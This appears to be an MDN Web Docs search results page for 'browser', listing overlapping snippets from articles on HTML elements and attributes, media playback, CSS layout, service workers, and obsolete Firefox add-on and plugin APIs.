...ll browsers we need to specify two formats, although with the adoption of mp3 and mp4 formats in firefox and opera, this is changing fast. you can find compatibility information in the guide to media types and formats on the web. 7 adding captions and subtitles to html5 video html5, media, webvtt, captions, subtitles, track in other articles we looked at how to build a cross browser video player using the htmlmediaelement and window.fullscreen apis, and also at how to style the player. this article will take the same player and show how to add captions and subtitles to it, using the webvtt format and the <track> element. ...
... video html5, media, webvtt, captions, subtitles, track in other articles we looked at how to build a cross browser video player using the htmlmediaelement and window.fullscreen apis, and also at how to style the player. this article will take the same player and show how to add captions and subtitles to it, using the webvtt format and the <track> element. 8 creating a cross-browser video player apps, html5, video, full screen this article describes a simple html5 video player that uses the media and fullscreen apis and works across most major desktop and mobile browsers. as well as working fullscreen, the player features custom controls rather than just using the browser defaults. the player controls themselves won't be styled beyond the basics required to get t...
...And 11 more matches
HTML attribute: rel - HTML: Hypertext Markup Language
Web › HTML › Attributes › rel
esentations of the current document. link link not allowed author author of the current document or article. link link not allowed bookmark permalink for the nearest ancestor section. not allowed link not allowed canonical preferred url for the current document. link not allowed not allowed dns-prefetch tells the browser to preemptively perform dns resolution for the target resource's origin external resource not allowed not allowed external referenced document is not part of the same site as the current document. not allowed annotation annotation help link to context-sensitive help. link link link icon icon representing the current document. ext...
... link icon icon representing the current document. external resource not allowed not allowed license indicates that the main content of the current document is covered by the copyright license described by the referenced document. link link link manifest web app manifest link not allowed not allowed modulepreload tells to browser to preemptively fetch the script and store it in the document's module map for later evaluation. optionally, the module's dependencies can be fetched as well. external resource not allowed not allowed next indicates that the current document is a part of a series, and that the next document in the series is the referenced document. link link link nofollow ...
... not allowed next indicates that the current document is a part of a series, and that the next document in the series is the referenced document. link link link nofollow indicates that the current document's original author or publisher does not endorse the referenced document. not allowed annotation annotation noopener creates a top-level browsing context that is not an auxiliary browsing context if the hyperlink would create either of those to begin with (i.e., has an appropriate target attribute value). not allowed annotation annotation noreferrer no referer header will be included. additionally, has the same effect as noopener. not allowed annotation annotation opener creates an auxiliary bro...
...And 11 more matches
<input type="week"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › week
week create input fields allowing easy entry of a year plus the iso 8601 week number during that year (i.e., week 1 to 52 or 53). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the control's user interface varies from browser to browser; cross-browser support is currently a bit limited, with only chrome/opera and microsoft edge supporting it at this time. in non-supporting browsers, the control degrades gracefully to function identically to <input type="text">. in chrome/opera the week control provides slots to fill in week and year values, a pop-up calendar interface to select them more visually, and an "x" button...
...can set a default value for the input by including a value inside the value attribute, like so: <label for="week">what week would you like to start?</label> <input id="week" type="week" name="week" value="2017-w01"> one thing to note is that the displayed format may differ from the actual value, which is always formatted yyyy-www. when the above value is submitted to the server, for example, browsers may display it as week 01, 2017, but the submitted value will always look like week=2017-w01. you can also get and set the value in javascript using the input element's value property, for example: var weekcontrol = document.queryselector('input[type="week"]'); weekcontrol.value = '2017-w45'; additional attributes in addition to the attributes common to <input> elements, week inputs offer ...
...nning of the first week of 1970 ("1970-w01"). at this time, it's unclear what a value of "any" means for step when used with week inputs. this will be updated as soon as that information is determined. using week inputs week inputs sound convenient at first glance, since they provide an easy ui for choosing weeks, and they normalize the data format sent to the server, regardless of the user's browser or locale. however, there are issues with <input type="week"> because browser support is not guaranteed across all browsers. we'll look at basic and more complex uses of <input type="week">, then offer advice on mitigating the browser support issue later on (see handling browser support). basic uses of week the simplest use of <input type="week"> involves a basic <input> and <label> element ...
...And 11 more matches
HTML elements reference - HTML: Hypertext Markup Language
Web › HTML › Element
lement description <html> the html <html> element represents the root (top-level element) of an html document, so it is also referred to as the root element. all other elements must be descendants of this element. document metadata metadata contains information about the page. this includes information about styles, scripts and data to help software (search engines, browsers, etc.) use and render the page. metadata for styles and scripts may be defined in the page or link to another file that has the information. element description <base> the html <base> element specifies the base url to use for all relative urls in a document. <head> the html <head> element contains machine-readable information (metadata) about the ...
...s. <meta> the html <meta> element represents metadata that cannot be represented by other html meta-related elements, like <base>, <link>, <script>, <style> or <title>. <style> the html <style> element contains style information for a document, or part of a document. <title> the html title element (<title>) defines the document's title that is shown in a browser's title bar or a page's tab. sectioning root element description <body> the html <body> element represents the content of an html document. there can be only one <body> element in a document. content sectioning content sectioning elements allow you to organize the document content into logical pieces. use the sectioning elements to create a broad...
...ent (<abbr>) represents an abbreviation or acronym; the optional title attribute can provide an expansion or description for the abbreviation. <b> the html bring attention to element (<b>) is used to draw the reader's attention to the element's contents, which are not otherwise granted special importance. <bdi> the html bidirectional isolate element (<bdi>) tells the browser's bidirectional algorithm to treat the text it contains in isolation from its surrounding text. <bdo> the html bidirectional text override element (<bdo>) overrides the current directionality of text, so that the text within is rendered in a different direction. <br> the html <br> element produces a line break in text (carriage-return). it is useful for writing a poe...
...And 11 more matches
Downloading Files - Archive of obsolete content
the following methods of downloading files may not work as expected after firefox 26, and should no longer be used. please use downloads.jsm instead. downloading files to download a file, create an instance of nsiwebbrowserpersist and call its nsiwebbrowserpersist.saveuri() method, passing it a url to download and an nsifile instance representing the local file name/path. ...
...ot work as expected after firefox 26, and should no longer be used. please use downloads.jsm instead. downloading files to download a file, create an instance of nsiwebbrowserpersist and call its nsiwebbrowserpersist.saveuri() method, passing it a url to download and an nsifile instance representing the local file name/path. ...
...ox 26, and should no longer be used. please use downloads.jsm instead. downloading files to download a file, create an instance of nsiwebbrowserpersist and call its nsiwebbrowserpersist.saveuri() method, passing it a url to download and an nsifile instance representing the local file name/path. components.utils.import("resource://gre/modules/privatebrowsingutils.jsm"); const webbrowserpersist = components.constructor("@mozilla.org/embedding/browser/nswebbrowserpersist;1", "nsiwebbrowserpersist"); var persist = webbrowserpersist(); var targetfile = services.dirsvc.get("desk", ci.nsifile); targetfile.append("file.bin"); // obtain the privacy context of the browser window that the url // we are downloading comes from. if, and o...
...And 10 more matches
Venkman Introduction - Archive of obsolete content
this article provides an overview and some practical examples of using the javascript debugger in web applications and web page scripting. ...
...ly in firefox and other gecko-based products, such as thunderbird and netscape 7.x. fortunately, the xpinstall technology makes it possible to install new application modules in firefox by just clicking a hyperlink. if you don't already have venkman or would like to upgrade, you can easily get the latest version from firefox add-ons. the installation process is two steps. ...
...y just clicking a hyperlink. if you don't already have venkman or would like to upgrade, you can easily get the latest version from firefox add-ons. the installation process is two steps. first, from within the browser you want to host the debugger application, visit the firefox add-ons page and click on the "install" link for the most recent version. when the download is complete, restart your browser (some windows users may also need to restart their computer as well). you can then access the debugger via a new, dynamically created menuitem in the tools menu of that browser, or else restart the browser with a special debugger option. to see which version of venkman you have, type /version in the interactive session view. for more information about the latest improvements and versions, see ...
...And 10 more matches
Tree View Details - Archive of obsolete content
eating a hierarchical custom view in the last section, we created a simple tree view that implemented only a minimum amount of functionality. next, let's look at some additional functions that views may implement. here, we will examine how to create a hierarchical set of items using the view. this is a fairly tricky process as it involves keeping track of which items have children and also which rows are open and closed. nesting level every row in the tree has a nesting level. the topmost rows are at level 0, the children of those rows are at level 1, their children at level 2 and so on. the tree will query the view for each row by calling its getlevel method to find out the level of that row. the view will need to return 0 for the outermost rows and higher values for inner rows. the tree w...
... in addition to the getlevel method, there is a hasnextsibling function which, given a row, should return true if there is another row afterwards at the same level. this function is used, specifically, to draw the nesting lines along the side of the tree. ...
...d should return true if a row is an empty container, for instance, a directory with no files in it. the iscontaineropen method is used to determine which items are opened and closed. the view is required to keep track of this. the tree will call this method to determine which containers are open and which are closed. note that the tree will call neither iscontainerempty nor iscontaineropen for rows that are not containers as indicated by the return value of the iscontainer method. a container may be rendered differently than a non-container. for instance, a container may have a folder icon beside it. a style sheet may be used to style items based on various properties such as whether a row is open. this is described in a later section. a non-empty container will be displayed with a twisty ...
...And 10 more matches
NPAPI plugin reference - Archive of obsolete content
the articles below describe each of the apis related to npapi plugins. browser-side plug-in api this chapter describes methods in the plug-in api that are provided by the browser; these allow call back to the browser to request information, tell the browser to repaint part of the window, and so forth. the names of all of these methods begin with npn_ to indicate that they are implemented by the browser and called by the plug-in. np_getmimedescription np_getmimedescription returns a supported mime type list for your plugin. it works on unix (linux) and macos. on windows you have to define supported mimetypes in the dll resource file. np_getvalue allows the browser to query the plug-in for information. np_initialize provides global initialization for a plug-in. np_port contains ...
...ug-in. np_port contains information required by the window field of an npwindow structure. np_shutdown provides global deinitialization for a plug-in. npanycallbackstruct contains information required during embedded mode printing. npapi plug-in side api this chapter describes methods in the plug-in api that are available from the plug-in object; these allow plug-ins to interact with the browser. the names of all of these methods begin with npp_ to indicate that they are implemented by the plug-in and called by the browser. npbyterange represents a particular range of bytes from a stream. npclass npclass is a structure that holds a set of pointers to functions that make up the behavior of an instance of an npclass (i.e. an npobject). npembedprint substructure of npprint that cont...
...ess plug-in. npfullprint substructure of npprint that contains platform-specific information used during full-page mode printing. npidentifier npidentifier is an opaque type used for method and property identifiers, such as strings or integers. npidentifiers are unique, in that for any given string or integer, there is only one npidentifier. the lifetime of npidentifiers is controlled by the browser. npn newstream requests the creation of a new data stream produced by the plug-in and consumed by the browser. npn_createobject allocates a new npobject. npn_destroystream closes and deletes a stream. npn_enumerate gets the names of the properties and methods of the specified npobject. npn_evaluate evaluates a script in the scope of the specified npobject. npn_forceredraw asks the p...
...And 10 more matches
Choosing the right approach - Learn web development
h level of nesting, whereas with promises you can just use a single .catch() block to handle the errors for the entire chain. async callbacks just aren't very graceful. promise callbacks are always called in the strict order they are placed in the event queue; async callbacks aren't. async callbacks lose full control of how the function will be executed when passed to a third-party library. browser compatibility really good general support, although the exact support for callbacks in apis depends on the particular api. refer to the reference documentation for the api you're using for more specific support info. further information introducing asynchronous javascript, in particular async callbacks settimeout() settimeout() is a method that allows you to run a function after an arbi...
...t, in particular async callbacks settimeout() settimeout() is a method that allows you to run a function after an arbitrary amount of time has passed. useful for... single delayed operation repeating operation multiple sequential operations multiple simultaneous operations yes yes (recursive timeouts) yes (nested timeouts) no code example here the browser will wait two seconds before executing the anonymous function, then will display the alert message (see it running live, and see the source code): let mygreeting = settimeout(function() { alert('hello, mr. universe!'); }, 2000) pitfalls you can use recursive settimeout() calls to run a function repeatedly in a similar fashion to setinterval(), using code like this: let i = 1; settimeout(f...
...n. let's say that the code takes 40 milliseconds to run — the interval then ends up being only 60 milliseconds. when your code has the potential to take longer to run than the time interval you’ve assigned, it’s better to use recursive settimeout() — this will keep the time interval constant between executions regardless of how long the code takes to execute, and you won't get errors. ...
...And 10 more matches
Drawing graphics - Learn web development
this article provides an introduction to canvas, and further resources to allow you to learn more. prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn the basics of drawing on <canvas> elements using javascript. ...
...animate (and otherwise manipulate) svg vector images — as they are represented by markup — there was still no way to do the same for bitmap images, and the tools available were rather limited. the web still had no way to effectively create animations, games, 3d scenes, and other requirements commonly handled by lower level languages such as c++ or java. the situation started to improve when browsers began to support the <canvas> element and associated canvas api — apple invented it in around 2004, and other browsers followed by implementing it in the years that followed. as you'll see below, canvas provides many useful tools for creating 2d animations, games, data visualizations, and other types of app, especially when combined with some of the other apis the web platform provides. the...
......
...And 10 more matches
Message manager overview
in multiprocess firefox there are (at least) two processes: the chrome process, also called the parent process, runs the browser ui (chrome) code and code inserted by extensions one or more content processes, also called child processes. these processes run web content. message managers are designed to enable chrome-privileged javascript code in one process to communicate with chrome-privileged javascript code in a different process. this article describes the different types of message manager, how to access them, and at a high level, what sorts of things you can use them for. ...
...de in one process to communicate with chrome-privileged javascript code in a different process. this article describes the different types of message manager, how to access them, and at a high level, what sorts of things you can use them for. at the top level, there are two different sorts of message managers: frame message managers: these enable chrome process code to load a script into a browser frame (essentially, a single browser tab) in the content process. these scripts are called frame scripts, and as the name suggests, they are scoped to a specific browser frame. if chrome code wants to run code in the content process so it can access web content, this is usually the sort of message manager to use. process message managers: these correspond to process boundaries, and enable code...
...ate with the frame script some older articles on multiprocess firefox and the message manager might refer to "content scripts" instead of "frame scripts". this usage is deprecated because the add-on sdk uses "content script" to refer to a similar but different kind of script. so fundamentally, frame message managers enable chrome code to: load a script into a frame (essentially, a single browser tab) in the content process. these scripts are called "frame scripts". communicate with frame scripts using message-passing apis there are various types of frame message managers, as depicted in this diagram: this diagram shows the setup when there are 2 browser windows open, one with 2 tabs open and one with 1 tab open. chrome process in the chrome process, there's a hierarchy of frame...
...And 10 more matches
Initialization and Destruction - Plugins
« previousnext » this chapter describes the methods that provide the basic processes of initialization, instance creation and destruction, and shutdown. initialization: the browser calls the plug-in api function np_initialize when the plug-in code is first loaded. instance creation: the browser calls the plug-in api function npp_new when the instance is created. instance destruction: the plug-in instance is deleted when the user leaves the instance page or closes the instance window; the browser calls the function npp_destroy to tell the plug-in that the instance is being deleted. shutdown: when the last instance of a plug-in is deleted, the plug-in code is unloaded from memory and the browser calls the function np_shutdown. plug-ins consume no resources, other than dis...
...g-in that the instance is being deleted. shutdown: when the last instance of a plug-in is deleted, the plug-in code is unloaded from memory and the browser calls the function np_shutdown. plug-ins consume no resources, other than disk space, if not referenced. this chapter ends with initialize and shutdown example, which includes the np_initialize and np_shutdown methods. initialization the browser calls np_initialize when a plug-in is loaded and before the first instance is created. use this function to allocate the memory and resources shared by all instances of your plug-in. nperror np_initialize(void) { }; after the last plug-in instance is deleted, the browser calls np_shutdown, which releases the memory or resources allocated by np_initialize. for an example that shows the use o...
...he memory and resources shared by all instances of your plug-in. nperror np_initialize(void) { }; after the last plug-in instance is deleted, the browser calls np_shutdown, which releases the memory or resources allocated by np_initialize. for an example that shows the use of both the np_initialize and np_shutdown methods, see initialize and shutdown example. during initialization, when the browser encounters data of a mime type registered for a plug-in (either embedded in an html page or in a separate file), it loads the plug-in code into memory (if it hasn't been loaded already) and creates a new instance of the plug-in. for more information, see registering plug-ins. plug-ins are native code libraries: .dll files on windows, .so or .dso files on unix, and powerpc shared library files ...
...And 10 more matches
Using Service Workers - Web APIs
ts first, thus providing a default experience even when offline, before then getting more data from the network (commonly known as offline first). this is already available with native apps, which is one of the main reasons native apps are often chosen over web apps. ...
...ain reasons native apps are often chosen over web apps. setting up to play with service workers many service workers features are now enabled by default in newer versions of supporting browsers. if however you find that demo code is not working in your installed versions, you might need to enable a pref: firefox nightly: go to about:config and set dom.serviceworkers.enabled to true; restart browser. chrome canary: go to chrome://flags and turn on experimental-web-platform-features; restart browser (note that some features are now enabled by default in chrome.) opera: go to opera://flags and enable support for serviceworker; restart browser. microsoft edge: go to about:flags and tick enable service workers; restart browser. you’ll also need to serve your code via https — service w...
... basic architecture with service workers, the following steps are generally observed for basic set up: the service worker url is fetched and registered via serviceworkercontainer.register(). ...
...And 10 more matches
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
s="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> default rules for auto-placement as you can see with the above example, if you create a grid all child items will lay themselves out one into each grid cell. the default flow is to arrange items by row. grid will lay an item out into each cell of row 1. if you have created additional rows using the grid-template-rows property then grid will continue placing items in these rows. if the grid does not have enough rows in the explicit grid to place all of the items new implicit rows will be created. sizing rows in the implicit grid the default for automatically created rows in the implicit grid is for them to be auto-sized. this means that they will contain the content added to them...
...ems in these rows. if the grid does not have enough rows in the explicit grid to place all of the items new implicit rows will be created. sizing rows in the implicit grid the default for automatically created rows in the implicit grid is for them to be auto-sized. this means that they will contain the content added to them without causing an overflow. you can however control the size of these rows with the property grid-auto-rows. ...
...the explicit grid to place all of the items new implicit rows will be created. sizing rows in the implicit grid the default for automatically created rows in the implicit grid is for them to be auto-sized. this means that they will contain the content added to them without causing an overflow. you can however control the size of these rows with the property grid-auto-rows. ...
...And 10 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
Web › HTML › Element › img
e of the image, allowing it to take up space before it loads, to mitigate content layout shifts. responsive image hints with sizes and srcset (see also the <picture> element and our responsive images tutorial). supported image formats the html standard doesn't list what image formats to support, so each user agent supports different formats. ...
... to support, so each user agent supports different formats. a complete guide to image formats supported by web browsers is available. below is a list of the image formats that are most commonly used on the web, as well as some older formats that should no longer be used, despite existing content possibly still using them. ...
... image loading errors if an error occurs while loading or rendering an image, and an onerror event handler has been set on the error event, that event handler will get called. this can happen in a number of situations, including: the src attribute is empt...
...And 10 more matches
Firefox user agent string reference - HTTP
. for a breakdown of changes to the string in gecko 2.0, see final user agent string for firefox 4 (blog post). see also this document on user agent sniffing and this hacks blog post. general form the ua string of firefox itself is broken down into four components: mozilla/5.0 (platform; rv:geckoversion) gecko/geckotrail firefox/firefoxversion mozilla/5.0 is the general token that says the browser is mozilla compatible, and is common to almost every browser today. platform describes the native platform the browser is running on (e.g. windows, mac, linux or android), and whether or not it's a mobile phone. firefox os phones simply say "mobile"; the web is the platform. note that platform can consist of multiple "; "-separated tokens. see below for further details and examples. t...
...es simply say "mobile"; the web is the platform. note that platform can consist of multiple "; "-separated tokens. see below for further details and examples. though fixed in firefox 69, previous 32-bit versions of firefox running on 64-bit processors would report that the system is using a 32-bit cpu. rv:geckoversion indicates the release version of gecko (such as "17.0"). ...
... "; "-separated tokens. see below for further details and examples. though fixed in firefox 69, previous 32-bit versions of firefox running on 64-bit processors would report that the system is using a 32-bit cpu. rv:geckoversion indicates the release version of gecko (such as "17.0"). in recent browsers, geckoversion is the same as firefoxversion. gecko/geckotrail indicates that the browser is based on gecko. ...
...And 10 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
automatically starting the playback of audio (or videos with audio tracks) immediately upon page load can be an unwelcome surprise to users. while autoplay of media serves a useful purpose, it should be used carefully and only when needed. in order to give users control over this, browsers often provide various forms of autoplay blocking. in this guide, we'll cover autoplay functionality in the various media and web audio apis, including a brief overview of how to use autoplay and how to work with browsers to handle autoplay blocking gracefully. autoplay blocking is not applied to <video> elements when the source media does not have an audio track, or if the audio track is muted. media with an active audio track are considered to be audible, and autoplay blocking applies to them. inau...
...autoplay refers to any feature that causes audio to begin to play without the user specifically requesting that playback begin. this includes both the use of html attributes to autoplay media as well as the user of javascript code to start playback outside the context of handling user input. ...
...rowser's autoplay blocking policy: <audio src="/music.mp4" autoplay> and audioelement.play(); the following web features and apis may be affected by autoplay blocking: the html <audio> and <video> elements the web audio api from the user's perspective, a web page or app that spontaneously starts making noise without warning can be jarring, inconvenient, or off-putting. because of that, browsers generally only allow autoplay to occur successfully under specific circumstances. autoplay availability as a general rule, you can assume that media will be allowed to autoplay only if at least one of the following is true: the audio is muted or its volume is set to 0 the user has interacted with the site (by clicking, tapping, pressing keys, etc.) if the site has been whitelisted; this...
...And 10 more matches
XUL Migration Guide - Archive of obsolete content
t of what it needs using the supported apis, then it might still be worth migrating: we'll add more supported apis in future releases to meet important use cases. user interface components xul-based add-ons typically implement a user interface using a combination of two techniques: xul overlays and xul windows. xul overlays xul overlays are used to modify existing windows such as the main browser window. in this way an extension can integrate its user interface into the browser: for example, adding menu items, buttons, and toolbars. because sdk-based extensions are restartless, they can't use xul overlays. to add user interface components to the browser, there are a few different options. in order of complexity, the main options are: the sdk includes modules that implement some b...
...owser, there are a few different options. in order of complexity, the main options are: the sdk includes modules that implement some basic user interface components including buttons, dialogs, and context menu items. there is a collection of community-developed modules that includes various user interface components. by using the sdk's low-level apis you can directly modify the browser chrome. xul windows xul windows are used to define completely new windows to host user interface elements specific to the add-on. the sdk generally expects you to specify your user interface using html, not xul. however, you can include a chrome.manifest file in your add-on and it will be included in the generated xpi. my-addon/ chrome/ content/ locale/ skin/ ...
...ectory you can keep your "content", "locale", and "skin" subdirectories: this allows you to refer to objects in these directories from "chrome.manifest" using a relative path, like "chrome/content". this is provided only as a migration aid, and it's still a good idea to port xul windows to html. content scripts in a xul-based add-on, code that uses xpcom objects, code that manipulates the browser chrome, and code that interacts with web pages all runs in the same context. but the sdk makes a distinction between: add-on scripts, which can use the sdk apis, but are not able to interact with web pages content scripts, which can access web pages, but do not have access to the sdk's apis content scripts and add-on scripts communicate by sending each other json messages: in fact, the ab...
...And 9 more matches
window/utils - Archive of obsolete content
functions for working with browser windows. usage private windows with this module your add-on will see private browser windows even if it has not explicitly opted into private browsing, so you need to take care not to store any user data derived from private browser windows. the exception is the windows() function which returns an array of currently opened windows. private windows will not be included in this list if your add-on has not opted into private browsing. to learn more about private windows, how to opt into private browsing, and how to support private browsing, refer to the documentation for the private-browsing module. globals functions getmostrecentbrowserwindow() get the topmost browser window, as an nsidomwindow instance. ...
... getinnerid(window) returns the id of the specified window's current inner window. this function wraps nsidomwindowutils.currentinnerwindowid. parameters window : nsidomwindow the window whose inner window we are interested in. returns id: the given window's id. ...
...f the specified window's outer window. this function wraps nsidomwindowutils.outerwindowid. parameters window : nsidomwindow the window whose outer window we are interested in. returns id: the outer window's id. ...
...And 9 more matches
CSS3 - Archive of obsolete content
nt-feature-values at-rule. the control of the automatic generation of an oblique or bold face when none are found via the css font-synthesis property. css basic user interface module level 3 recommendation since june 21st, 2018 adds: the ability to tweak the box model using the css box-sizing property. at risk: due to insufficient browser support, standardization of the padding-box value may be postponed to the next iteration of this module. allow the styling of forms according their content using the css :indeterminate, :default, :valid, :invalid, :in-range, :out-of-range, :required, :optional, :read-only, and :read-write pseudo-classes and the ::value, ::choices, ::repeat-item, and ::repeat-index pseudo-elements. a...
...f the padding-box value may be postponed to the next iteration of this module. allow the styling of forms according their content using the css :indeterminate, :default, :valid, :invalid, :in-range, :out-of-range, :required, :optional, :read-only, and :read-write pseudo-classes and the ::value, ::choices, ::repeat-item, and ::repeat-index pseudo-elements. ...
... support for the css outline-offset property giving more control on the position of the outline. support for the css resize property allowing web authors to control if and how elements should be resized. ...
...And 9 more matches
Images, Tables, and Mysterious Gaps - Archive of obsolete content
the techniques described this article are no longer best practices for web-based development. it is now preferable to use css for layout. however, these techniques may be relevant when the developer cannot assume that users have a modern browser, such as for html-based e-mail messages. almost no matter when you started creating web pages, odds are pretty high you have one or more designs based on the classic "convoluted tables and lots of images" paradigm. whether you've sliced up a logo so it fits in well with the design, or used tons of single-pixel spacer gifs, the principles (and perils) remain largely the same. back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained. fast forward to 2001, ...
...bles and lots of images" paradigm. whether you've sliced up a logo so it fits in well with the design, or used tons of single-pixel spacer gifs, the principles (and perils) remain largely the same. back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained. fast forward to 2001, and the rise of standards-based browsers that lay out pages using html and css instead of their own private layout algorithms. ...
...we start with a simple case, illustrated in figure 1: a one-cell table containing an image. ...
...And 9 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
age show the use of the xpinstall api. the majority of this api is now deprecated and as of gecko 1.9 no longer available. extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. this article uses the installer script from browser.xpi install package as the basis for discussing xpi installations in general. this installer script is relatively short, but it exercises most of the important features of the xpinstall api, and it can easily be used as a template for other more general software installations. in this article, we use the unix install file, but the installers for all the platforms are quite similar, and you can ...
...atively short, but it exercises most of the important features of the xpinstall api, and it can easily be used as a template for other more general software installations. in this article, we use the unix install file, but the installers for all the platforms are quite similar, and you can easily take what you learn here and apply it to installations on any platform that mozilla supports. about browser.xpi browser.xpi is the xpi archive in which the main components of the mozilla browser are archived for installation. mozilla cross-platform installations use the xpi format as a way to organize, compress, and automate software installations and software updates. a xpi is a pkzip-compressed archive (like zip and jar files) with a special script at the highest level that manages the installatio...
...taller script , usually named install.js, is the subject of this article. first, a quick scan of the contents of the xpi file (which you can open using with any unzip utility) reveals the following high-level directory structure: install.js bin\ chrome\ components defaults\ icons\ plugins\ res\ note that this high-level structure parallels the directory structure of the installed browser very closely: as you will see in the installation script, the contents of the archive are installed onto the file system in much the same way that they are stored in the archive itself, though it's possible to rearrange things arbitrarily upon installation--to create new directories, to install files in system folders and other areas. overview of the install script xpi install scripts are ...
...And 9 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
avascript engines used server-side and both are from the minds at mozilla: mozilla rhino and mozilla spidermonkey. rhino is a javascript interpreter written in java that can also bridge javascript to java server-side. steve yegge of google has been doing interesting work with this engine. spidermonkey on the other hand is the javascript engine (written in c) in the highly popular mozilla firefox browser. spidermonkey is what will evolve to become tracemonkey. in addition, the jaxer “ajax server” (a project i work on at aptana) is an example of ssjs that uses not only spidermonkey, but also embeds the entire firefox browser engine in the application server such that you can do server-side dom manipulation and other ajaxy things server-side that rhino was not built to do. ...
...ool to the developer. however, taking advantage of frameworks such as aptana jaxer (spidermonkey) and helma (rhino) can reveal even greater rewards as a great deal of work has already been done for you. all you need to do is implement the javascript. let’s take a closer look on the spidermonkey side with jaxer. ...
...tated earlier, aptana jaxer is built using the mozilla browser engine engine that powers mozilla firefox, which includes spidermonkey as its javascript interpreter, but lots more features beyond ssjs alone such as dom, db, file io, css, server sessions, e4x, etc...] this is a great advantage to the developer as it presents a consistent server-side and client-side development environment for both browser and server contexts that is centered on open source and web standards. also since you know which engine you're targeting, you're free to confidently use advanced built in controls such as xml processing via e4x, xpath, and xslt. let's take a tour through some of the top features of jaxer through code examples. ...
...And 9 more matches
Common causes of memory leaks in extensions - Extensions
these leaks, as the fix causes many add-ons which would have otherwise caused a leak to instead throw errors when attempting to access nodes from documents which no longer exist. storing references to window objects and dom nodes the most common problem is extensions holding onto references to content windows for too long. for example, in xul overlay code: var contentwindows = []; function inbrowserxuloverlay(contentwindow) { // forgetting or failing to pop the content window thing again contentwindows.push(contentwindow); } this will keep the content window compartments alive until the browser window is closed. users often only open a single browser window per session and use tabs, in which case the leaked compartments will live for the whole life of the session. a similar problem ...
...o dom nodes in foreign document should instead be stored in an object which is specific to that document, and cleaned up when the document is unloaded, or stored as weak references. be careful with setinterval/settimeout using window.setinterval() or window.settimeout() can be problematic, too, when it comes to zombie compartments. ...
...document should instead be stored in an object which is specific to that document, and cleaned up when the document is unloaded, or stored as weak references. be careful with setinterval/settimeout using window.setinterval() or window.settimeout() can be problematic, too, when it comes to zombie compartments. ...
...And 9 more matches
Audio for Web games - Game development
audio is an important part of any game; it adds feedback and atmosphere. web-based audio is maturing fast, but there are still many browser differences to navigate. we often need to decide which audio parts are essential to our games' experience and which are nice to have but not essential, and devise a strategy accordingly. this article provides a detailed guide to implementing audio for web games, looking at what works currently across as wide a range of platforms as possible. mobile audio caveats by far the most difficult platforms to provide web audio support for are mobile platforms. ...
...provides a detailed guide to implementing audio for web games, looking at what works currently across as wide a range of platforms as possible. mobile audio caveats by far the most difficult platforms to provide web audio support for are mobile platforms. unfortunately these are also the platforms that people often use to play games. there are a couple of differences between desktop and mobile browsers that may have caused browser vendors to make choices that can make web audio difficult for game developers to work with. let's look at these now. autoplay browser autoplay policy now affects desktop and mobile browsers. there is further information about it here from the google developers site. it is worth noting that autoplay with sound is allowed if: the user has interacted with the do...
...this means you will have to structure your audio playback to take account of that. ...
...And 9 more matches
Flexbox - Learn web development
previous overview: css layout next flexbox is a one-dimensional layout method for laying out items in rows or columns. items flex to fill additional space and shrink to fit into smaller spaces. this article explains all the fundamentals. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to learn how to use the flexbox layout system to create web layouts. why flexbox? for a long time, the only reliable cross browser-compatible tools available for creating css layouts were things like floats and positioning. these are fine and they work, but in some ways they are also rather limiting and frustrating. the following simple layout requirements are either difficult or impossible to...
...f content. as you'll see in subsequent sections, flexbox makes a lot of layout tasks much easier. let's dig in! introducing a simple example in this article we are going to get you to work through a series of exercises to help you understand how flexbox works. to get started, you should make a local copy of the first starter file — flexbox0.html from our github repo — load it in a modern browser (like firefox or chrome), and have a look at the code in your code editor. you can see it live here also. you'll see that we have a <header> element with a top level heading inside it, and a <section> element containing three <article>s. we are going to use these to create a fairly standard three column layout. specifying what elements to lay out as flexible boxes to start with, we need to...
...n in more detail what this means. note also that you can use a display value of inline-flex if you wish to lay out an element's children as flex items, but have that element behave like an inline element. the flex model when elements are laid out as flex items, they are laid out along two axes: the main axis is the axis running in the direction the flex items are being laid out in (e.g. as rows across the page, or columns down the page.) the start and end of this axis are called the main start and main end. the cross axis is the axis running perpendicular to the direction the flex items are being laid out in. the start and end of this axis are called the cross start and cross end. the parent element that has display: flex set on it (the <section> in our example) is called the flex con...
...And 9 more matches
Responsive design - Learn web development
quisites: html basics (study introduction to html), and an idea of how css works (study css first steps and css building blocks.) objective: to understand the fundamental concepts and history of responsive design. historic website layouts at one point in history you had two options when designing a website: you could create a liquid site, which would stretch to fill the browser window or a fixed width site, which would be a fixed size in pixels. these two approaches tended to result in a website that looked its best on the screen of the person designing the site! the liquid site resulted in a squashed design on smaller screens (as seen below) and unreadably long line lengths on larger ones. note: see this simple liquid layout: example, source code. when viewi...
... site, which would be a fixed size in pixels. these two approaches tended to result in a website that looked its best on the screen of the person designing the site! the liquid site resulted in a squashed design on smaller screens (as seen below) and unreadably long line lengths on larger ones. note: see this simple liquid layout: example, source code. when viewing the example, drag your browser window in and out to see how this looks at different sizes. the fixed-width site risked a horizontal scrollbar on screens smaller than the site width (as seen below), and lots of white space at the edges of the design on larger screens. note: see this simple fixed-width layout: example, source code. again, observe the result as you change the browser window size. note: the screenshot...
...rm to make designing responsive sites easier. the rest of this article will point you to the various web platform features you might want to use when creating a responsive site. media queries responsive design was only able to emerge due to the media query. the media queries level 3 specification became a candidate recommendation in 2009, meaning that it was deemed ready for implementation in browsers. media queries allow us to run a series of tests (e.g. whether the user's screen is greater than a certain width, or a certain resolution) and apply css selectively to style the page appropriately for the user's needs. for example, the following media query tests to see if the current web page is being displayed as screen media (therefore not a printed document) and the viewport is at least 8...
...And 9 more matches
What is a URL? - Learn web development
